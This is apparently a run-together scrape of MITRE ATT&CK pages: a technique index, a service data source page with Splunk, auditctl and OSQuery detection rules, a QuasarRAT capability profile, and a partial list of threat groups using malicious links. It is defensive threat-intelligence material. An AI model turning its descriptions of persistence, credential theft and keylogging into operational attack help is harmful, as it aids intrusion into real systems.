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Currently viewing ATT&CK v9.0 which was live between April 29, 2021 and October 20, 2021. Learn more about the versioning system or see the live site. TECHNIQUES Enterprise Reconnaissance Active Scanning Scanning IP Blocks Vulnerability Scanning Gather Victim Host Information Hardware Software Firmware Client Configurations Gather Victim Identity Information Credentials Email Addresses Employee Names Gather Victim Network Information Domain Properties DNS Network Trust Dependencies Network Topology IP Addresses Network Security Appliances Gather Victim Org Information Determine Physical Locations Business Relationships Identify Business Tempo Identify Roles Phishing for Information Spearphishing Service Spearphishing Attachment Spearphishing Link Search Closed Sources Threat Intel Vendors Purchase Technical Data Search Open Technical Databases DNS/Passive DNS WHOIS Digital Certificates CDNs Scan Databases Search Open Websites/Domains Social Media Search Engines Search Victim-Owned Websites Resource Development Acquire Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Compromise Accounts Social Media Accounts Email Accounts Compromise Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Develop Capabilities Malware Code Signing Certificates Digital Certificates Exploits Establish Accounts Social Media Accounts Email Accounts Obtain Capabilities Malware Tool Code Signing Certificates Digital Certificates Exploits Vulnerabilities Stage Capabilities Upload Malware Upload Tool Install Digital Certificate Drive-by Target Link Target Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Phishing Spearphishing Attachment Spearphishing Link Spearphishing via Service Replication Through Removable Media Supply Chain Compromise Compromise Software Dependencies and Development Tools Compromise Software Supply Chain Compromise Hardware Supply Chain Trusted Relationship Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Execution Command and Scripting Interpreter PowerShell AppleScript Windows Command Shell Unix Shell Visual Basic Python JavaScript Network Device CLI Container Administration Command Deploy Container Exploitation for Client Execution Inter-Process Communication Component Object Model Dynamic Data Exchange Native API Scheduled Task/Job At (Linux) At (Windows) Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Shared Modules Software Deployment Tools System Services Launchctl Service Execution User Execution Malicious Link Malicious File Malicious Image Windows Management Instrumentation Persistence Account Manipulation Additional Cloud Credentials Exchange Email Delegate Permissions Add Office 365 Global Administrator Role SSH Authorized Keys BITS Jobs Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Plist Modification Print Processors XDG Autostart Entries Active Setup Boot or Logon Initialization Scripts Logon Script (Windows) Logon Script (Mac) Network Logon Script RC Scripts Startup Items Browser Extensions Compromise Client Software Binary Create Account Local Account Domain Account Cloud Account Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking External Remote Services Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER Implant Internal Image Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Office Application Startup Office Template Macros Office Test Outlook Forms Outlook Home Page Outlook Rules Add-ins Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Scheduled Task/Job At (Linux) At (Windows) Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Server Software Component SQL Stored Procedures Transport Agent Web Shell Traffic Signaling Port Knocking Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Privilege Escalation Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Plist Modification Print Processors XDG Autostart Entries Active Setup Boot or Logon Initialization Scripts Logon Script (Windows) Logon Script (Mac) Network Logon Script RC Scripts Startup Items Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Domain Policy Modification Group Policy Modification Domain Trust Modification Escape to Host Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking Exploitation for Privilege Escalation Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking Scheduled Task/Job At (Linux) At (Windows) Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Defense Evasion Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection BITS Jobs Build Image on Host Deobfuscate/Decode Files or Information Deploy Container Direct Volume Access Domain Policy Modification Group Policy Modification Domain Trust Modification Execution Guardrails Environmental Keying Exploitation for Defense Evasion File and Directory Permissions Modification Windows File and Directory Permissions Modification Linux and Mac File and Directory Permissions Modification Hide Artifacts Hidden Files and Directories Hidden Users Hidden Window NTFS File Attributes Hidden File System Run Virtual Instance VBA Stomping Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER Impair Defenses Disable or Modify Tools Disable Windows Event Logging Impair Command History Logging Disable or Modify System Firewall Indicator Blocking Disable or Modify Cloud Firewall Disable Cloud Logs Indicator Removal on Host Clear Windows Event Logs Clear Linux or Mac System Logs Clear Command History File Deletion Network Share Connection Removal Timestomp Indirect Command Execution Masquerading Invalid Code Signature Right-to-Left Override Rename System Utilities Masquerade Task or Service Match Legitimate Name or Location Space after Filename Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Modify Cloud Compute Infrastructure Create Snapshot Create Cloud Instance Delete Cloud Instance Revert Cloud Instance Modify Registry Modify System Image Patch System Image Downgrade System Image Network Boundary Bridging Network Address Translation Traversal Obfuscated Files or Information Binary Padding Software Packing Steganography Compile After Delivery Indicator Removal from Tools Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking Rogue Domain Controller Rootkit Signed Binary Proxy Execution Compiled HTML File Control Panel CMSTP InstallUtil Mshta Msiexec Odbcconf Regsvcs/Regasm Regsvr Rundll Verclsid Signed Script Proxy Execution PubPrn Subvert Trust Controls Gatekeeper Bypass Code Signing SIP and Trust Provider Hijacking Install Root Certificate Mark-of-the-Web Bypass Code Signing Policy Modification Template Injection Traffic Signaling Port Knocking Trusted Developer Utilities Proxy Execution MSBuild Unused/Unsupported Cloud Regions Use Alternate Authentication Material Application Access Token Pass the Hash Pass the Ticket Web Session Cookie Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Weaken Encryption Reduce Key Space Disable Crypto Hardware XSL Script Processing Credential Access Brute Force Password Guessing Password Cracking Password Spraying Credential Stuffing Credentials from Password Stores Keychain Securityd Memory Credentials from Web Browsers Windows Credential Manager Password Managers Exploitation for Credential Access Forced Authentication Forge Web Credentials Web Cookies SAML Tokens Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Man-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Network Sniffing OS Credential Dumping LSASS Memory Security Account Manager NTDS LSA Secrets Cached Domain Credentials DCSync Proc Filesystem /etc/passwd and /etc/shadow Steal Application Access Token Steal or Forge Kerberos Tickets Golden Ticket Silver Ticket Kerberoasting AS-REP Roasting Steal Web Session Cookie Two-Factor Authentication Interception Unsecured Credentials Credentials In Files Credentials in Registry Bash History Private Keys Cloud Instance Metadata API Group Policy Preferences Container API Discovery Account Discovery Local Account Domain Account Email Account Cloud Account Application Window Discovery Browser Bookmark Discovery Cloud Infrastructure Discovery Cloud Service Dashboard Cloud Service Discovery Container and Resource Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Local Groups Domain Groups Cloud Groups Process Discovery Query
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versions_v9_techniques_T1574_007.txt
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systemctl service creation sourcetype=auditd(command="systemctl" AND command="enable" OR command="create")| stats count by user, command, process_name, _time| where NOT match(command, "whitelisted_services")| sort -_time Service: Service Metadata Contextual data about a service/daemon, which may include information such as name, service executable, start type, etc. Service: Service Metadata Contextual data about a service/daemon, which may include information such as name, service executable, start type, etc. Domain ID Name Detects Enterprise T BITS Jobs BITS runs as a service and its status can be checked with the Sc query utility (sc query bits).[7] Enterprise T Hijack Execution Flow Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. . Executable Installer File Permissions Weakness Monitor for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. . Services File Permissions Weakness Hashing of binaries and service executables could be used to detect replacement against historical data. Enterprise T Impair Defenses Monitor contextual data about a service/daemon, which may include information such as name, service executable, start type that that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. . Disable or Modify Tools Monitor for telemetry that provides context of security software services being disabled or modified. In cloud environments, monitor virtual machine logs for the status of cloud security agents. Spyware and malware remain a serious problem and Microsoft developed security services, Windows Defender and Windows Firewall, to combat this threat. In the event Windows Defender or Windows Firewall is turned off, administrators should correct the issue immediately to prevent the possibility of infection or further infection and investigate to determine if caused by crash or user manipulation.Note: Windows Event code 7036 from the System log identifies if a service has stopped or started. This analytic looks for "Windows Defender" or "Windows Firewall" that has stopped. Analytic 1 - User Activity from Stopping Windows Defensive Services (source="WinEventLog:System" EventCode="7036") ServiceName="Windows Defender" OR ServiceName="Windows Firewall" AND ServiceName="stopped*" Enterprise T Inhibit System Recovery Monitor the status of services involved in system recovery. Note: For Windows, Event ID 7040 can be used to alert on changes to the start type of a service (e.g., going from enabled at startup to disabled) associated with system recovery. Enterprise T Masquerading Monitor for contextual data about a service/daemon, which may include information such as name, service executable, start type, etc. . Masquerade Task or Service Monitor for changes made to services for unexpected modifications to names, descriptions, and/or start types Enterprise T . Remote Services: Windows Remote Management Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. sourcetype="WinEventLog:System" EventCode=7045| search ServiceName="WinRM"| stats count by AccountName, ServiceName, ServiceFileName, _time| where count > 1| eval service_change=if(match(ServiceFileName, "winrm.exe"), "suspicious", "normal")| where service_change="suspicious"| table _time, AccountName, ServiceName, ServiceFileName, service_change Enterprise T Service Stop Alterations to the service binary path or the service startup type changed to disabled may be suspicious. ICS T Service Stop Alterations to the service binary path or the service startup type changed to disabled may be suspicious. Service: Service Modification Changes made to an existing service or daemon, such as modifying the service name, start type, execution parameters, or security configurations. *Data Collection Measures: * - Windows Event Logs - Event ID 7040 - Detects modifications to the startup behavior of a service. - Event ID 7045 - Can capture changes made to existing services. - Event ID 7036 - Tracks when services start or stop, potentially indicating malicious tampering. - Event ID 4697 - Can detect when an adversary reinstalls a service with different parameters. - Sysmon Logs - Sysmon Event ID 13 - Detects changes to service configurations in the Windows Registry (e.g., HKLM\SYSTEM\CurrentControlSet\Services\). - Sysmon Event ID 1 - Can track execution of sc.exe or PowerShell Set-Service. - PowerShell Logging - Event ID 4104 (Script Block Logging) - Captures execution of commands like Set-Service, New-Service, or sc config. - Command-Line Logging (Event ID 4688) - Tracks usage of service modification commands: - sc config <service_name> start= auto - sc qc <service_name> - Linux/macOS Collection Methods - Systemd Journals (journalctl -u <service_name>) Tracks modifications to systemd service configurations. - Daemon Logs (/var/log/syslog, /var/log/messages, /var/log/daemon.log) Captures changes to service state and execution parameters. - AuditD Rules for Service Modification - Monitor modifications to /etc/systemd/system/ for new or altered service unit files: auditctl -w /etc/systemd/system/ -p wa -k service_modification - Track execution of systemctl or service commands: auditctl -a always,exit -F arch=b64 -S execve -F a0=systemctl -F key=service_mod - OSQuery for Linux/macOS Monitoring - Query modified services using OSQuery’s processes or system_info tables: SELECT * FROM systemd_units WHERE state != 'running'; - macOS Launch Daemon/Agent Modification - Monitor for changes in: - /Library/LaunchDaemons/ - /Library/LaunchAgents/ - Track modifications to .plist files indicating persistence attempts. Service: Service Modification Changes made to an existing service or daemon, such as modifying the service name, start type, execution parameters, or security configurations. *Data Collection Measures: * - Windows Event Logs - Event ID 7040 - Detects modifications to the startup behavior of a service. - Event ID 7045 - Can capture changes made to existing services. - Event ID 7036 - Tracks when services start or stop, potentially indicating malicious tampering. - Event ID 4697 - Can detect when an adversary reinstalls a service with different parameters. - Sysmon Logs - Sysmon Event ID 13 - Detects changes to service configurations in the Windows Registry (e.g., HKLM\SYSTEM\CurrentControlSet\Services\). - Sysmon Event ID 1 - Can track execution of sc.exe or PowerShell Set-Service. - PowerShell Logging - Event ID 4104 (Script Block Logging) - Captures execution of commands like Set-Service, New-Service, or sc config. - Command-Line Logging (Event ID 4688) - Tracks usage of service modification commands: - sc config <service_name> start= auto - sc qc <service_name> - Linux/macOS Collection Methods - Systemd Journals (journalctl -u <service_name>) Tracks modifications to systemd service configurations. - Daemon Logs (/var/log/syslog, /var/log/messages, /var/log/daemon.log) Captures changes to service state and execution parameters. - AuditD Rules for Service Modification - Monitor modifications to /etc/systemd/system/ for new or altered service unit files: auditctl -w /etc/systemd/system/ -p wa -k service_modification - Track execution of systemctl or service commands: auditctl -a always,exit -F arch=b64 -S execve -F a0=systemctl -F key=service_mod - OSQuery for Linux/macOS Monitoring - Query modified services using OSQuery’s processes or system_info tables: SELECT * FROM systemd_units WHERE state != 'running'; - macOS Launch Daemon/Agent Modification - Monitor for changes in: - /Library/LaunchDaemons/ - /Library/LaunchAgents/ - Track modifications to .plist files indicating persistence attempts. Domain ID Name Detects Enterprise T Create or Modify System Process Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. . Launch Agent Monitor for changes made to launch agents to repeatedly execute malicious payloads as part of persistence. . Systemd Service Analyze the contents of .service files present on the file system and ensure that they refer to legitimate, expected executables. . Windows Service Monitor for changes made to Windows services to repeatedly execute malicious payloads as part of persistence. . Launch Daemon Monitor services for changes made to Launch Daemons to execute malicious payloads as part of persistence. Enterprise T . Hijack Execution Flow: Services Registry Permissions Weakness Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. ICS T Masquerading Monitor for changes made to services that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. References - Microsoft. (2017, March 30). Introduction to Windows Service Applications. Retrieved September 28, 2021. - The Linux Foundation. (2006, January 11). An introduction to services, runlevels, and rc.d scripts. Retrieved September 28, 2021. - Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019. - Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017. - Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018. - Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018. - Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018. × load more results
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versions_v17_datasources_DS0019.txt
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Locker Raindrop RainyDay Ramsay RARSTONE RATANKBA RawDisk RawPOS Rclone RCSAndroid RCSession RDAT RDFSNIFFER Reaver Red Alert 2. RedDrop RedLeaves Reg RegDuke Regin Remcos Remexi RemoteCMD RemoteUtilities Remsec Responder Revenge RAT REvil RGDoor Rifdoor Riltok RIPTIDE Rising Sun ROADTools RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover RTM Ruler RuMMS RunningRAT Ryuk S-T S-Type Saint Bot Sakula SamSam schtasks SDBbot SDelete SeaDuke Seasalt SEASHARPEE ServHelper Seth-Locker ShadowPad Shamoon Shark SharpStage SHARPSTATS ShiftyBug ShimRat ShimRatReporter SHIPSHAPE SHOTPUT SHUTTERSPEED Sibot SideTwist SILENTTRINITY SilkBean Siloscape SimBad Skeleton Key Skidmap Skygofree Sliver SLOTHFULMEDIA SLOWDRIFT Small Sieve Smoke Loader SMOKEDHAM SNUGRIDE Socksbot SodaMaster SombRAT SoreFang SOUNDBITE SPACESHIP Spark SpeakUp SpicyOmelette spwebmember SpyDealer SpyNote RAT sqlmap SQLRat Squirrelwaffle SslMM Starloader STARWHALE Stealth Mango StoneDrill StreamEx StrifeWater StrongPity Stuxnet SUGARDUMP SUGARUSH SUNBURST SUNSPOT SUPERNOVA Sykipot SynAck SYNful Knock Sys SYSCON Systeminfo SysUpdate T Taidoor TAINTEDSCRIBE TajMahal Tangelo Tarrask Tasklist TDTESS TEARDROP TERRACOTTA TEXTMATE ThiefQuest ThreatNeedle Tiktok Pro TinyTurla TINYTYPHON TinyZBot Tomiris Tor Torisma TrailBlazer Triada TrickBot TrickMo Triton Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TSCookie Turian TURNEDUP Twitoor TYPEFRAME U-V UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBferry USBStealer Valak VaporRage Vasport VBShower VERMIN ViceLeaker ViperRAT Volgmer VPNFilter W-X WannaCry WarzoneRAT WastedLocker Waterbear WEBC WellMail WellMess Wevtutil WhisperGate Wiarp Windows Credential Editor WINDSHIELD WindTail WINERACK Winexe Wingbird WinMM Winnti for Linux Winnti for Windows Wiper WireLurker WolfRAT X-Agent for Android XAgentOSX Xbash Xbot xCaon xCmd XcodeGhost XCSSET XLoader for Android XLoader for iOS XTunnel Y-Z YAHOYAH YiSpecter yty Zebrocy Zen ZergHelper Zeroaccess ZeroT Zeus Panda ZLib Zox zwShell ZxShell ZxxZ - Home - Software - QuasarRAT QuasarRAT QuasarRAT is an open-source, remote access tool that has been publicly available on GitHub since at least 2014. QuasarRAT is developed in the C# language.[1][2] ID: S ⓘ Associated Software: xRAT ⓘ Type: TOOL ⓘ Platforms: Windows Contributors: Kyaw Pyiyt Htet, @KyawPyiytHtet Version: 2. Created: 17 October Last Modified: 02 August Version Permalink Live Version Associated Software Descriptions Name Description xRAT [3][4] ATT&CK® Navigator Layers Enterprise Layer download view Techniques Used Domain ID Name Use Enterprise T . Abuse Elevation Control Mechanism: Bypass User Account Control QuasarRAT can generate a UAC pop-up Window to prompt the target user to run a command as the administrator.[5] Enterprise T . Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder If the QuasarRAT client process does not have administrator privileges it will add a registry key to HKCU\Software\Microsoft\Windows\CurrentVersion\Run for persistence.[1][5] Enterprise T . Command and Scripting Interpreter: Windows Command Shell QuasarRAT can launch a remote shell to execute commands on the victim’s machine.[1][5] Enterprise T Credentials from Password Stores QuasarRAT can obtain passwords from common FTP clients.[1][2] . Credentials from Web Browsers QuasarRAT can obtain passwords from common web browsers.[1][2] Enterprise T Data from Local System QuasarRAT can retrieve files from compromised client machines.[5] Enterprise T . Encrypted Channel: Symmetric Cryptography QuasarRAT uses AES with a hardcoded pre-shared key to encrypt network communication.[1][2][5] Enterprise T . Hide Artifacts: Hidden Files and Directories QuasarRAT has the ability to set file attributes to "hidden" to hide files from the compromised user's view in Windows File Explorer.[5] . Hide Artifacts: Hidden Window QuasarRAT can hide process windows and make web requests invisible to the compromised user. Requests marked as invisible have been sent with user-agent string Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A though QuasarRAT can only be run on Windows systems.[5] Enterprise T Ingress Tool Transfer QuasarRAT can download files to the victim’s machine and execute them.[1][2] Enterprise T . Input Capture: Keylogging QuasarRAT has a built-in keylogger.[1][2] Enterprise T Modify Registry QuasarRAT has a command to edit the Registry on the victim’s machine.[1][5] Enterprise T Non-Application Layer Protocol QuasarRAT can use TCP for C2 communication.[5] Enterprise T Non-Standard Port QuasarRAT can use port 4782 on the compromised host for TCP callbacks.[5] Enterprise T Proxy QuasarRAT can communicate over a reverse proxy using SOCKS5.[1][2] Enterprise T . Remote Services: Remote Desktop Protocol QuasarRAT has a module for performing remote desktop access.[1][2] Enterprise T . Scheduled Task/Job: Scheduled Task QuasarRAT contains a .NET wrapper DLL for creating and managing scheduled tasks for maintaining persistence upon reboot.[2][5] Enterprise T . Subvert Trust Controls: Code Signing A QuasarRAT .dll file is digitally signed by a certificate from AirVPN.[2] Enterprise T System Information Discovery QuasarRAT can gather system information from the victim’s machine including the OS type.[1] Enterprise T System Location Discovery QuasarRAT can determine the country a victim host is located in.[5] Enterprise T System Network Configuration Discovery QuasarRAT has the ability to enumerate the Wide Area Network (WAN) IP through requests to ip-api[.]com, freegeoip[.]net, or api[.]ipify[.]org observed with user-agent string Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0.[5] Enterprise T System Owner/User Discovery QuasarRAT can enumerate the username and account type.[5] Enterprise T . Unsecured Credentials: Credentials In Files QuasarRAT can obtain passwords from FTP clients.[1][2] Enterprise T Video Capture QuasarRAT can perform webcam viewing.[1][2] Groups That Use This Software ID Name References G menuPass [6][7][4] G Patchwork [3][2] G BackdoorDiplomacy [8] G Gorgon Group [9] G LazyScripter [10] References - MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018. - Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018. - Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018. - GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021. - CISA. (2018, December 18). Analysis Report (AR18-352A) Quasar Open-Source Remote Administration Tool. Retrieved August 1, 2022. - United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019. - Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020. - Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, - Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018. - Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021. × load more results
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versions_v12_software_S0262.txt
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Currently viewing ATT&CK v17.1 which is the current version of ATT&CK. Learn more about the versioning system or see the live site. ATT&CKcon 6.0 is coming October 14-15 in McLean, VA and live online. To potentially join us on stage, submit to our CFP by July 9th - Home - Techniques - Enterprise - User Execution - Malicious Link User Execution: Malicious Link Other sub-techniques of User Execution (4) ID Name T1204. Malicious Link T1204. Malicious File T1204. Malicious Image T1204. Malicious Copy and Paste An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Link. Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via Exploitation for Client Execution. Links may also lead users to download files that require execution via Malicious File. ID: T1204. Sub-technique of: T ⓘ Tactic: Execution ⓘ Platforms: Linux, Windows, macOS Version: 1. Created: 11 March Last Modified: 15 April Version Permalink Live Version Procedure Examples ID Name Description S AppleJeus AppleJeus's spearphishing links required user interaction to navigate to the malicious website.[1] G APT APT28 has tricked unwitting recipients into clicking on malicious hyperlinks within emails crafted to resemble trustworthy senders.[2][3] G APT APT29 has used various forms of spearphishing attempting to get a user to click on a malicious link.[4][5] G APT APT3 has lured victims into clicking malicious links delivered through spearphishing.[6] G APT APT32 has lured targets to download a Cobalt Strike beacon by including a malicious link within spearphishing emails.[7][8][9] G APT APT33 has lured users to click links to malicious HTML applications delivered via spearphishing emails.[10][11] G APT APT38 has used links to execute a malicious Visual Basic script.[12] G APT APT39 has sent spearphishing emails in an attempt to lure users to click on a malicious link.[13][14] S BackConfig BackConfig has compromised victims via links to URLs hosting malicious content.[15] S Bazar Bazar can gain execution after a user clicks on a malicious link to decoy landing pages hosted on Google Docs.[16][17][18] G BlackTech BlackTech has used e-mails with malicious links to lure victims into installing malware.[19] S Bumblebee Bumblebee has relied upon a user downloading a file from a OneDrive link for execution.[20][21] C C During C0011, Transparent Tribe relied on student targets to click on a malicious link sent via email.[22] C C During C0021, the threat actors lured users into clicking a malicious link which led to the download of a ZIP archive containing a malicious .LNK file.[23] G Cobalt Group Cobalt Group has sent emails containing malicious links that require users to execute a file or macro to infect the victim machine.[24][25][26] G Confucius Confucius has lured victims into clicking on a malicious link sent through spearphishing.[27] G Daggerfly Daggerfly has used strategic website compromise to deliver a malicious link requiring user interaction.[28] G Earth Lusca Earth Lusca has sent spearphishing emails that required the user to click on a malicious link and subsequently open a decoy document with a malicious loader.[29] G Elderwood Elderwood has leveraged multiple types of spearphishing in order to attempt to get a user to open links.[30][31] S Emotet Emotet has relied upon users clicking on a malicious link delivered through spearphishing.[32][33] G Evilnum Evilnum has sent spearphishing emails designed to trick the recipient into opening malicious shortcut links which downloads a .LNK file.[34] G EXOTIC LILY EXOTIC LILY has used malicious links to lure users into executing malicious payloads.[35] G FIN FIN4 has lured victims to click malicious links delivered via spearphishing emails (often sent from compromised accounts).[36][37] G FIN FIN7 has used malicious links to lure victims into downloading malware.[38] G FIN FIN8 has used emails with malicious links to lure victims into installing malware.[39][40][41] G Gamaredon Group Gamaredon Group has attempted to get users to click on a link pointing to a malicious HTML file leading to follow-on malicious content.[42] S Gootloader Gootloader has been executed through malicious links presented to users as internet search results.[43][44] S Grandoreiro Grandoreiro has used malicious links to gain execution on victim machines.[45][46] S GuLoader GuLoader has relied upon users clicking on links to malicious documents.[47] S Hancitor Hancitor has relied upon users clicking on a malicious link delivered through phishing.[48] S Javali Javali has achieved execution through victims clicking links to malicious websites.[49] S Kerrdown Kerrdown has gained execution through victims opening malicious links.[9] G Kimsuky Kimsuky has lured victims into clicking malicious links.[50] S KOCTOPUS KOCTOPUS has relied on victims clicking on a malicious link delivered via email.[51] S Latrodectus Latrodectus has been executed through malicious links distributed in email campaigns.[52][53] G LazyScripter LazyScripter has relied upon users clicking on links to malicious files.[51] G Leviathan Leviathan has sent spearphishing email links attempting to get a user to click.[54][55] G LuminousMoth LuminousMoth has lured victims into clicking malicious Dropbox download links delivered through spearphishing.[56] G Machete Machete has has relied on users opening malicious links delivered through spearphishing to execute malware.[57][58][59] G Magic Hound Magic Hound has attempted to lure victims into opening malicious links embedded in emails.[60][61] S Melcoz Melcoz has gained execution through victims opening malicious links.[49] G Mofang Mofang's spearphishing emails required a user to click the link to connect to a compromised website.[62] G Molerats Molerats has sent malicious links via email trick users into opening a RAR archive and running an executable.[63][64] G MuddyWater MuddyWater has distributed URLs in phishing e-mails that link to lure documents.[65][66][67] G Mustang Panda Mustang Panda has sent malicious links including links directing victims to a Google Drive folder.[68][69][70] G Mustard Tempest Mustard Tempest has lured users into downloading malware through malicious links in fake advertisements and spearphishing emails.[71][72] S NETWIRE NETWIRE has been executed through convincing victims into clicking malicious links.[73][47] C Night Dragon During Night Dragon, threat actors enticed users to click on links in spearphishing emails to download malware.[74] S ObliqueRAT ObliqueRAT has gained execution on targeted systems through luring users to click on links to malicious URLs.[75][76] G OilRig OilRig has delivered malicious links to achieve execution on the target system.[77][78][79][80] C Operation Dream Job During Operation Dream Job, Lazarus Group lured users into executing a malicious link to disclose private account information or provide initial access.[81][82] C Operation Dust Storm During Operation Dust Storm, the threat actors relied on a victim clicking on a malicious link sent via email.[83] C Operation Spalax During Operation Spalax, the threat actors relied on a victim to click on a malicious link distributed via phishing emails.[84] S OutSteel OutSteel has relied on a user to click a malicious link within a spearphishing email.[85] G Patchwork Patchwork has used spearphishing with links to try to get users to click, download and open malicious files.[86][87][88][15] S PLEAD PLEAD has been executed via malicious links in e-mails.[19] S Pony Pony has attempted to lure targets into clicking links in spoofed emails from legitimate banks.[89] S QakBot QakBot has gained execution through users opening malicious links.[90][91][92][93][94][95][96] G RedCurl RedCurl has used malicious links to infect the victim machines.[97][98] C RedDelta Modified PlugX Infection Chain Operations Mustang Panda distributed hyperlinks that would result in an MSC file running a PowerShell command to download and install a remotely-hosted MSI file during RedDelta Modified PlugX Infection Chain Operations.[99] G Saint Bear Saint 